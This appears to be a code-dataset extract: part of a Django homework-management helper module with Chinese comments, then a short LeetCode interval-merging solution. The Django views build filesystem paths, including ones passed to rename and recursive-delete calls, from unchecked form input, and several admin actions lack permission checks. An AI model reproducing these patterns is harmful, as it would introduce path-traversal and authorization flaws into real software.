print(\"用户已经提交过该作业了，现在先删除旧的作业，再更新新的作业\")\n                    count = old_test.first().count+1  # 作业提交的次数\n                    old_test.delete()  # 删除数据库中旧的记录\n                info = {\n                    \"test_id\": test_id,\n                    \"stu_id\": user_id,\n                    \"filename\": file_obj.name,  # 这儿存储的是文件的真实名字，而不是hash得到的文件名\n                    \"path\": upload_to,\n                    \"count\": count\n                }\n                with transaction.atomic():\n                    # StuTest.objects.filter(stu_id=user_id, test_id=test_id).update(count=the_test_count)\n                    all_count = user.count + 1  # 作业提交的总次数（是所有的作业的累加次数）\n                    Students.objects.filter(id=user_id).update(count=all_count)  # 更新数据中用户提交的作业次数\n                    StuTest.objects.create(**info)  # 向学生作业表中添加数据\n                    with open(upload_to, 'wb') as f:\n                        # print(\"数据库库操作没问题，可以保存用户的作业至本地\")\n                        for item in file_obj.chunks():\n                            f.write(item)\n                data = {\n                    \"status\": True,\n                    \"success\": \"作业提交成功!\"\n                }\n            except Exception as er:\n                print(\"上传作业出错：\", er)\n                data = {\n                    \"status\": False,\n                    \"error\": \"上传作业失败，原因:{}\".format(er)\n                }\n            return HttpResponse(json.dumps(data))\n    data = {\n        \"status\": False,\n        \"error\": \"上传作业失败，请检查你的作业名是否规范\"\n    }\n    return HttpResponse(json.dumps(data))\n\n\ndef group_manage_get(request):\n    \"\"\"View all groups in Group table\"\"\"\n    user_info = get_user_info(request)\n    groups = Groups.objects.all()\n    data = {\n        \"status\": True,\n        \"groups\": groups,\n        \"name\": user_info.get('name'),\n        \"group\": user_info.get('group'),\n        \"permission\": user_info.get('permission')  # current user's permission(权限)\n    }\n    # print(data)\n    return render(request, 'tasks/group_list.html', data)\n\n\ndef group_manage_post(request):\n    \"\"\"\n    User will edit group's information or delete group\n    :return: json\n    \"\"\"\n    command = request.POST.get('command')\n    if command == \"Modify\":\n        try:\n            print(\"Edit group's information, include group's name and number of the group\")\n            name = request.POST.get('name')\n            amount = request.POST.get('amount')  # the number of students in the group\n            group_id = request.POST.get('group_id')  # the group's id in Group table\n            groups = all_group()  # all group's object, type:list\n            old_group = Groups.objects.filter(id=group_id).first().name  # 用户要修改的班级原来的名字\n            # groups.remove(old_group)  # 除去该班级名\n            if name == old_group:\n                # 班级的名字和之前的一样，没有修改，所以只修改班级人数\n                Groups.objects.filter(id=group_id).update(amount=amount)  # 修改班级人数\n                data = {\n                    \"status\": True,\n                    \"modify_success\": \"修改成功\"\n                }\n                print(\"修改班级人数成功\")\n                return HttpResponse(json.dumps(data))\n            # 班级名也跟着改了，所以要验证一下要修改的班级名是否已经存在\n            if name not in groups:\n                # 要修改的班级名未被占用，允许修改\n                # print(\"允许修改\")\n                try:\n                    media_path = os.path.join(BASE_DIR, 'media/' + old_group)  # 旧的班级名称\n                    if not os.path.isdir(media_path):\n                        os.makedirs(media_path)  # 如果该路径丢失，则先创建\n                    new_media_path = os.path.join(BASE_DIR, 'media/' + name)  # 新的班级名称\n                    zip_path = os.path.join(BASE_DIR, 'tests_zip', old_group)  # 旧的班级打包文件存放的路径\n                    if not os.path.isdir(zip_path):\n                        os.makedirs(zip_path)  # 如果该路径丢失，则先创建\n                    new_zip_path = os.path.join(BASE_DIR, 'tests_zip', name)  # 新的班级打包文件存放的路径\n                    with transaction.atomic():\n                        # 启动事务\n                        Groups.objects.filter(id=group_id).update(name=name, amount=amount)\n                        os.rename(media_path, new_media_path)  # 修改文件名\n                        os.rename(zip_path, new_zip_path)  # 修改文件名\n                    data = {\n                        \"status\": True,\n                        \"modify_success\": \"修改成功\"\n                    }\n                    print(\"修改班级和人数成功，服务器中各班级对应的目录页修改了\")\n                    return HttpResponse(json.dumps(data))\n                except Exception as er:\n                    print(\"修改班级名过程出错: \", er)\n                    data = {\n                        \"status\": False,\n                        \"modify_error\": \"修改失败\"\n                    }\n                    return HttpResponse(json.dumps(data))\n            else:\n                print(\"班级'{}'已经存在,修改失败\".format(name))\n                data = {\n                    \"status\": False,\n                    \"modify_error\": \"班级'{}'已经存在\".format(name)\n                }\n                return HttpResponse(json.dumps(data))\n        except Exception as er:\n            print(\"修改班级出错：\", er)\n            data = {\n                \"status\": False,\n                \"modify_error\": er\n            }\n            return HttpResponse(json.dumps(data))\n    if command == \"Delete\":\n        print(\"用户要删除\")\n        group_id = request.POST.get('group_id')  # 用户选择要删除的班级id\n        try:\n            group = Groups.objects.filter(id=group_id).first().name  # 班级名字\n            media_path = os.path.join(BASE_DIR, 'media/' + group)  # 该班级上传作业的路径\n            zip_path = os.path.join(BASE_DIR, 'tests_zip', group)  # 该班级打包文件的路径\n        except Exception as er:\n            print(\"查找要删除的班级失败：\", er)\n            return HttpResponse(json.dumps({\"status\": False, \"del_error\": \"服务器响应出错，请稍后再试\"}))\n        try:\n            Groups.objects.filter(id=group_id).delete()\n            if os.path.exists(media_path):\n                shutil.rmtree(media_path)  # 班级删除了，那么该班级的目录以及子目录都应删除\n            if os.path.exists(zip_path):\n                shutil.rmtree(zip_path)  # 该班级的打包文件的路径也要删除\n            data = {\n                \"status\": True,\n                \"del_success\": \"删除班级成功\"\n            }\n            return HttpResponse(json.dumps(data))\n        except Exception as er:\n            print(\"删除班级失败：\", er)\n            data = {\n                \"status\": False,\n                \"del_error\": er\n            }\n            return HttpResponse(json.dumps(data))\n\n\ndef add_group_get(request):\n    \"\"\"admin want to get add_group page\"\"\"\n    user_info = get_user_info(request)\n    data = {\n        \"status\": True,\n        \"name\": user_info.get('name'),\n        \"group\": user_info.get('group'),\n        \"permission\": user_info.get('permission')  # 用户权限\n    }\n    return render(request, 'tasks/add_group.html', data)\n\n\ndef add_group_post(request):\n    \"\"\"增加班级的post处理\"\"\"\n    group = request.POST.get('group')\n    amount = request.POST.get('amount')\n    # print(group)\n    user_info = get_user_info(request)\n    data = {\n        \"name\": user_info.get('name'),\n        \"group\": user_info.get('group'),\n        \"permission\": user_info.get('permission')  # 用户权限\n    }\n    groups = all_group()\n    if not groups or (groups and group not in groups):\n        try:\n            media_path = os.path.join(BASE_DIR, 'media/' + group)  # 班级作业上传的路径\n            zip_path = os.path.join(BASE_DIR, 'tests_zip', group)  # 打包文件所存放的路径\n            Groups.objects.create(name=group, amount=amount)  # 创建班级\n            os.makedirs(media_path)\n            os.makedirs(zip_path)\n            data[\"status\"] = True\n            data[\"add_success\"] = \"添加成功\"\n            print(\"添加班级成功，给用户返回>>\", data)\n            return render(request, 'tasks/add_group.html', data)\n        except Exception as er:\n            print(\"添加班级失败>>\", er)\n            data[\"status\"] = True\n            data[\"add_error\"] = \"服务器异常,添加失败\"\n            return render(request, 'tasks/add_group.html', data)\n    else:\n        print(\"班级已经存在，不允许再增加\")\n        data[\"status\"] = False\n        data[\"add_error\"] = \"班级已经存在，添加失败\"\n        return render(request, 'tasks/add_group.html', data)\n\n\ndef modify_get(request):\n    \"\"\"修改资料的get请求\"\"\"\n    user_info = get_user_info(request)\n    data = {\n        \"name\": user_info.get('name'),\n        \"group\": user_info.get('group'),\n        \"permission\": user_info.get('permission')  # 用户权限\n    }\n    user_id = request.session.get('user_id')\n    user_obj = Students.objects.filter(id=user_id).first()\n    data[\"student\"] = user_obj  # 该学生的对象\n    return render(request, 'tasks/modify.html', data)\n\n\ndef modify_post(request):\n    \"\"\"处理修改资料的请求\"\"\"\n    name = request.POST.get('name')  # 学生姓名\n    password = request.POST.get('password')  # 密码\n    username = request.POST.get('username')  # 学号\n    age = request.POST.get('age')  # 年龄\n    gender = request.POST.get('gender')  # 性别\n    user_id = request.session.get('user_id')\n    current_user = Students.objects.filter(id=user_id).first()\n    current_username = current_user.username\n    info = {\n        \"name\": name,\n        \"age\": age,\n        \"gender\": gender\n    }\n    stu = Students.objects.filter(username=username)\n    if username == current_username or (username != current_username and not stu):\n        \"\"\"\n        这儿的意思是：如果表单中的username与数据库中该用户的username一致，说明用户没有要修改用户名。或者，表单中的username不等于数据中的\n        username，但是他要修改的这个学号目前未被占用，所以这两种情况都允许修改\n        \"\"\"\n        print(\"允许修改\")\n        if not check_password(password, current_user.password):\n            print(\"表单中密码和数据库中的密码不一样，表示用户要修改密码\")\n            info[\"password\"] = make_password(password)\n        Students.objects.filter(id=user_id).update(**info)\n        data = {\n            \"status\": True,\n            \"result\": \"修改成功\",\n            \"name\": name  # 返回name，如果为修改过，那么name不变；如果修改过，那么该name就是用户新的名字\n        }\n        return HttpResponse(json.dumps(data))\n    else:\n        print(\"修改失败\")\n        data = {\n            \"status\": False,\n            \"result\": \"用户名已经存在，不允许修改\"\n        }\n        return HttpResponse(json.dumps(data))\n\n\ndef student_info_get(request):\n    \"\"\"展示该用户所在班级中的所有学生的基本信息，根据当前用户的权限，前端会显示不同的信息，修改信息的范围也会不一样\"\"\"\n    user_info = get_user_info(request)\n    data = {\n        \"name\": user_info.get('name'),\n        \"group\": user_info.get('group'),\n        \"permission\": user_info.get('permission')  # 用户权限\n    }\n    group_id = request.session.get('group_id')  # 当前管理员所在的班级\n    students = Students.objects.filter(group_id=group_id)  # 所在班级的所有学生\n    data[\"students\"] = students\n    return render(request, 'tasks/students.html', data)\n\n\ndef student_info_post(request):\n    \"\"\"修改学生信息（权限不同，可修改的内容也不同）或者删除学生\"\"\"\n    command = request.POST.get('command')\n    try:\n        stu_id = int(request.POST.get('id'))  # 要修改的学生的id\n        permission = int(request.POST.get('permission'))  # 要修改的学生的权限\n    except Exception as er:\n        print(\"获取学生id失败: \", er)\n        return HttpResponse(json.dumps({\"status\": False}))\n    if command == \"Modify\":\n        \"\"\"管理员修改学生信息\"\"\"\n        stu_obj = Students.objects.filter(id=stu_id).first()\n        name = request.POST.get('name')\n        username = request.POST.get('username')\n        info = {\n            \"name\": name,\n            \"username\": username,\n            \"permission\": permission\n        }\n        stu = Students.objects.filter(username=username)\n        if username == stu_obj.username or (username != stu_obj.username and not stu):\n            \"\"\"\n            这儿的意思是：如果表单中的username与数据库中该用户的username一致，说明用户没有要修改用户名。或者，表单中的username不等于数据中的\n            username，但是他要修改的这个学号目前未被占用，所以这两种情况都允许修改\n            \"\"\"\n            print(\"允许修改\")\n            Students.objects.filter(id=stu_id).update(**info)\n            data = {\n                \"status\": True,\n                \"modify_success\": \"修改成功\",\n            }\n            return HttpResponse(json.dumps(data))\n        else:\n            print(\"修改失败\")\n            data = {\n                \"status\": False,\n                \"modify_error\": \"用户名已经存在，不允许修改\"\n            }\n            return HttpResponse(json.dumps(data))\n\n        # if username in usernames:\n        #     print(\"学号已经存在，不可修改\")\n        #     data = {\n        #         \"status\": False,\n        #         \"modify_error\": \"学号已经存在，修改失败\"\n        #     }\n        # else:\n        #     try:\n        #         print(name, username, id)\n        #         Students.objects.filter(id=stu_id).update(name=name, username=username, permission=permission)\n        #         data = {\n        #             \"status\": True,\n        #             \"modify_success\": \"修改成功\"\n        #         }\n        #     except Exception as err:\n        #         print(\"修改学生信息失败：\", err)\n        #         data = {\n        #             \"status\": False,\n        #             \"modify_error\": err\n        #         }\n        # return HttpResponse(json.dumps(data))\n    if command == \"Delete\":\n        print(\"管理员要删除学生\")\n        try:\n            Students.objects.filter(id=stu_id).delete()\n            data = {\n                \"status\": True,\n                \"del_success\": \"删除学生成功\"\n            }\n        except Exception as er:\n            print(\"删除学生失败:\", er)\n            data = {\n                \"status\": False,\n                \"del_error\": \"删除学生失败，原因是：\".format(er)\n            }\n        # print(data)\n        return HttpResponse(json.dumps(data))\n\n\ndef pack_get(request):\n    \"\"\"作业管理的get 请求页面\"\"\"\n    user_info = get_user_info(request)  # 获取用户名和班级名\n    media_path = os.path.join(BASE_DIR, 'media', user_info.get('group'))  # 班级所在的目录，例如B160905\n    group_id = request.session.get('group_id')  # 班级的id\n    tests = Tests.objects.filter(group_id=group_id)  # 获取到该班级的作业对象的一个列表\n    stu_files = []\n    for test in tests:\n        stu_files.append(os.listdir(os.path.join(media_path, test.name)))  # 每个作业下学生提交的作业的列表\n    # stu_files：[['B16090532魏廷万医学信号处理.docx', '医学信号处理.html', '魏廷万B16090501医学信号处理.txt'], ['B16090532魏廷万脑机接口.docx']]\n    data = {\n        \"name\": user_info.get('name'),\n        \"group\": user_info.get('group'),\n        \"tests\": tests,\n        \"stu_files\": stu_files,\n        \"permission\": user_info.get('permission')  # 用户权限\n    }\n    # print(data)\n    return render(request, 'tasks/test_manage.html', data)\n\n\ndef pack_test(request, tid, test_obj):\n    \"\"\"处理post请求，打包作业。每次打包完都要将is_download改为0，这样表示刚刚打包的文件未下载\"\"\"\n    print(\"用户要打包的作业id是：\", tid)\n    test_name = test_obj.name  # 作业名字\n    user_info = get_user_info(request)\n    group = user_info.get('group')  # 管理员所在班级的名字，根据这个找到班级的目录\n    media_path = os.path.join(BASE_DIR, 'media', group)  # 该学生所在班级作业上传的目录\n    if not os.path.exists(media_path):\n        os.makedirs(media_path)  # 若不存在，则创建\n    test_path = os.path.join(media_path, test_name)  # 要打包的作业的目录\n    zip_path = os.path.join(BASE_DIR, 'tests_zip', group)  # 打包文件所存放的路径\n    if not os.path.exists(zip_path):\n        os.makedirs(zip_path)  # 如不存在，则创建\n    pack_save_path = os.path.join(zip_path, test_name)  # 作业打包之后存在该目录下，每个班都有相应的该目录\n    try:\n        zip_path = shutil.make_archive(pack_save_path, 'zip', test_path)  # 作业打包后的完整路径， zip文件就在该作业下\n        print(\"文件打包的结果：\", zip_path)\n        data = {\n            \"status\": True,\n            \"success\": \"打包成功\"\n        }\n        Tests.objects.filter(name=test_name).update(is_download=False)\n        return HttpResponse(json.dumps(data))\n    except Exception as er:\n        print(\"打包文件时出错：\", er)\n        data = {\n            \"status\": False,\n            \"error\": \"文件打包失败\",\n        }\n        return render(request, 'tasks/500.html', data)\n\n\ndef delete_test(tid, test_obj, group_obj):\n    \"\"\"\n    管理员要删除作业\n    如果作业目录下尚未有提交的作业，那么可以直接删除。\n    但是如果有作业，那么就分情况：1. 有作业，但是已经下载过，则允许删除。2. 有作业，但是未下载过，则不允许删除\n    return: json data\n    \"\"\"\n    print(\"用户要删除作业\")\n    group = group_obj.name  # 获取班级名\n    is_download = test_obj.is_download  # 作业下载情况\n    path = os.path.join(BASE_DIR, 'media', group, test_obj.name)  # 该作业的目录\n    zip_path = os.path.join(BASE_DIR, 'tests_zip', group, test_obj.name + '.zip')  # 该作业打包文件所存放的路径\n    if is_download or not os.listdir(path):\n        # 已经下载或者目录下没有作业，允许直接删除\n        try:\n            with transaction.atomic():\n                Tests.objects.filter(id=tid).delete()  # 数据库中删除该作业\n                shutil.rmtree(path)  # 递归的删除该作业\n            if os.path.exists(zip_path):\n                os.remove(zip_path)  # 删除打包文件\n            data = {\n                \"status\": True,\n                \"success\": \"删除成功\"\n            }\n        except Exception as er:\n            print(\"作业删除失败：\", er)\n            data = {\n                \"status\": False,\n                \"error\": \"删除作业失败,原因是{}\".format(er)\n            }\n        return HttpResponse(json.dumps(data))\n    else:\n        print(\"作业不为空，并且也没有下载过作业,不允许删除\")\n        data = {\n            \"status\": False,\n            \"error\": \"检测到该作业未下载,请先下载,再尝试删除\"\n        }\n        return HttpResponse(json.dumps(data))\n\n\ndef add_test_get(request):\n    \"\"\"作业管理的get请求页面，也就是作业的列表\"\"\"\n    user_info = get_user_info(request)\n    data = {\n        \"name\": user_info.get(\"name\"),\n        \"group\": user_info.get(\"group\"),\n        \"permission\": user_info.get('permission')  # 用户权限\n    }\n    return render(request, 'tasks/add_test.html', data)\n\n\ndef add_test_post(request):\n    \"\"\"作业管理的post请求,增加作业\"\"\"\n    user_info = get_user_info(request)\n    test_name = request.POST.get('name')  # 作业名\n    deadline = request.POST.get('deadline')  # 截止时间\n    details = request.POST.get(\"details\")  # 作业补充说明\n    group_id = request.session.get(\"group_id\")  # 获取当前的班级\n    tests_obj = Tests.objects.filter(group_id=group_id)\n    group = user_info.get('group')  # 班级名\n    data = {\n        \"name\": user_info.get('name'),\n        \"group\": group,\n        \"permission\": user_info.get('permission')  # 用户权限\n    }\n    tests = []  # 该班级已经布置过的作业列表\n    for test in tests_obj:\n        tests.append(test.name)\n    if test_name in tests:\n        print(\"作业已经存在，不能添加\")\n        data[\"status\"] = False\n        data[\"add_error\"] = \"作业已经存在\"\n        return render(request, 'tasks/add_test.html', data)\n    else:\n        info = {\n            \"name\": test_name,\n            \"deadline\": deadline,\n            \"group_id\": group_id\n        }\n        if details:\n            info[\"details\"] = details\n        try:\n            path = os.path.join(BASE_DIR, 'media', group, test_name)\n            with transaction.atomic():\n                # 使用事务\n                Tests.objects.create(**info)  # 创建新作业\n                os.makedirs(path)  # 创建新作业的目录\n            data[\"status\"] = True\n            data[\"add_success\"] = \"添加成功\"\n            return render(request, 'tasks/add_test.html', data)\n        except OSError as er:\n            print(\"用户在添加作业时，创建作业目录时出错：\", er)\n            data[\"status\"] = False\n            data[\"add_error\"] = \"作业已经存在\"\n            return render(request, 'tasks/add_test.html', data)\n        except Exception as er:\n            print(\"添加作业失败：\", er)\n            data[\"status\"] = False\n            data[\"add_error\"] = er\n            return render(request, 'tasks/add_test.html', data)\n\n\n\n", "repo_name": "weitw/task", "sub_path": "task_manage/helper.py", "file_name": "helper.py", "file_ext": "py", "file_size_in_byte": 34169, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.getcwd", "line_number": 14, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 25, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 28, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 36, "usage_type": "call"}, {"api_name": "django.db.transaction.atomic", "line_number": 39, "usage_type": "call"}, {"api_name": "django.db.transaction", "line_number": 39, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 47, "usage_type": "call"}, {"api_name": "django.contrib.auth.hashers.make_password", "line_number": 102, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 117, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 134, "usage_type": "call"}, {"api_name": "django.contrib.auth.hashers.make_password", "line_number": 142, "usage_type": "call"}, {"api_name": "django.contrib.auth.hashers.check_password", "line_number": 147, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 158, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 166, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 181, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 196, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 210, "usage_type": "call"}, {"api_name": "os.path", "line_number": 210, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 211, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 217, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 217, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 223, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 223, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 228, "usage_type": "call"}, {"api_name": "os.path", "line_number": 228, "usage_type": "attribute"}, {"api_name": "django.http.FileResponse", "line_number": 232, "usage_type": "call"}, {"api_name": "django.utils.http.urlquote", "line_number": 234, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 238, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 249, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 261, "usage_type": "call"}, {"api_name": "os.path", "line_number": 261, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 262, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 277, "usage_type": "call"}, {"api_name": "os.path", "line_number": 277, "usage_type": "attribute"}, {"api_name": "django.db.transaction.atomic", "line_number": 292, "usage_type": "call"}, {"api_name": "django.db.transaction", "line_number": 292, "usage_type": "name"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 311, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 311, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 316, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 316, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 331, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 357, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 357, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 363, "usage_type": "call"}, {"api_name": "os.path", "line_number": 363, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 364, "usage_type": "call"}, {"api_name": "os.path", "line_number": 364, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 365, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 366, "usage_type": "call"}, {"api_name": "os.path", "line_number": 366, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 367, "usage_type": "call"}, {"api_name": "os.path", "line_number": 367, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 368, "usage_type": "call"}, {"api_name": "os.path", "line_number": 368, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 369, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 370, "usage_type": "call"}, {"api_name": "os.path", "line_number": 370, "usage_type": "attribute"}, {"api_name": "django.db.transaction.atomic", "line_number": 371, "usage_type": "call"}, {"api_name": "django.db.transaction", "line_number": 371, "usage_type": "name"}, {"api_name": "os.rename", "line_number": 374, "usage_type": "call"}, {"api_name": "os.rename", "line_number": 375, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 381, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 381, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 388, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 388, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 395, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 395, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 402, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 402, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 408, "usage_type": "call"}, {"api_name": "os.path", "line_number": 408, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 409, "usage_type": "call"}, {"api_name": "os.path", "line_number": 409, "usage_type": "attribute"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 412, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 412, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 415, "usage_type": "call"}, {"api_name": "os.path", "line_number": 415, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 416, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 417, "usage_type": "call"}, {"api_name": "os.path", "line_number": 417, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 418, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 423, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 423, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 430, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 430, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 442, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 459, "usage_type": "call"}, {"api_name": "os.path", "line_number": 459, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 460, "usage_type": "call"}, {"api_name": "os.path", "line_number": 460, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 462, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 463, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 467, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 472, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 477, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 491, "usage_type": "call"}, {"api_name": "django.contrib.auth.hashers.check_password", "line_number": 516, "usage_type": "call"}, {"api_name": "django.contrib.auth.hashers.make_password", "line_number": 518, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 525, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 525, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 532, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 532, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 546, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 557, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 557, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 580, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 580, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 587, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 587, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 625, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 625, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 631, "usage_type": "call"}, {"api_name": "os.path", "line_number": 631, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 636, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 636, "usage_type": "call"}, {"api_name": "os.path", "line_number": 636, "usage_type": "attribute"}, {"api_name": "django.shortcuts.render", "line_number": 646, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 655, "usage_type": "call"}, {"api_name": "os.path", "line_number": 655, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 656, "usage_type": "call"}, {"api_name": "os.path", "line_number": 656, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 657, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 658, "usage_type": "call"}, {"api_name": "os.path", "line_number": 658, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 659, "usage_type": "call"}, {"api_name": "os.path", "line_number": 659, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 660, "usage_type": "call"}, {"api_name": "os.path", "line_number": 660, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 661, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 662, "usage_type": "call"}, {"api_name": "os.path", "line_number": 662, "usage_type": "attribute"}, {"api_name": "shutil.make_archive", "line_number": 664, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 671, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 671, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 678, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 691, "usage_type": "call"}, {"api_name": "os.path", "line_number": 691, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 692, "usage_type": "call"}, {"api_name": "os.path", "line_number": 692, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 693, "usage_type": "call"}, {"api_name": "django.db.transaction.atomic", "line_number": 696, "usage_type": "call"}, {"api_name": "django.db.transaction", "line_number": 696, "usage_type": "name"}, {"api_name": "shutil.rmtree", "line_number": 698, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 699, "usage_type": "call"}, {"api_name": "os.path", "line_number": 699, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 700, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 711, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 711, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 718, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 718, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 729, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 753, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 763, "usage_type": "call"}, {"api_name": "os.path", "line_number": 763, "usage_type": "attribute"}, {"api_name": "django.db.transaction.atomic", "line_number": 764, "usage_type": "call"}, {"api_name": "django.db.transaction", "line_number": 764, "usage_type": "name"}, {"api_name": "os.makedirs", "line_number": 767, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 770, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 775, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 780, "usage_type": "call"}]}
{"seq_id": "26956093932", "text": "# 56. Merge Intervals\n# Medium\n# 21K\n# 710\n# Companies\n# Given an array of intervals where intervals[i] = [starti, endi], merge all overlapping intervals, and return an array of the non-overlapping intervals that cover all the intervals in the input.\n\n \n\n# Example 1:\n\n# Input: intervals = [[1,3],[2,6],[8,10],[15,18]]\n# Output: [[1,6],[8,10],[15,18]]\n# Explanation: Since intervals [1,3] and [2,6] overlap, merge them into [1,6].\n# Example 2:\n\n# Input: intervals = [[1,4],[4,5]]\n# Output: [[1,5]]\n# Explanation: Intervals [1,4] and [4,5] are considered overlapping.\n\nfrom typing import List\ndef merge( intervals : List[List[int]]) -> List[List[int]]:\n    intervals = sorted(intervals, key=lambda x:x [0])\n    result =[]\n    for interval in intervals:\n        if not result or result[-1][1] < interval[0]:\n            result.append(interval)\n        else:\n            result[-1][1] = max(result[-1][1], interval[1])\n    return result\n\n\nif __name__ == \"__main__\":\n    intervals = [[1,3],[2,6],[8,10],[15,18]]\n    print (\"{}\".format(merge(intervals)))\n\n", "repo_name": "smohapatra1/scripting", "sub_path": "python/practice/start_again/2023/10132023/merge_interval.py", "file_name": "merge_interval.py", "file_ext": "py", "file_size_in_byte": 1051, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "typing.List", "line_number": 22, "usage_type": "name"}]}
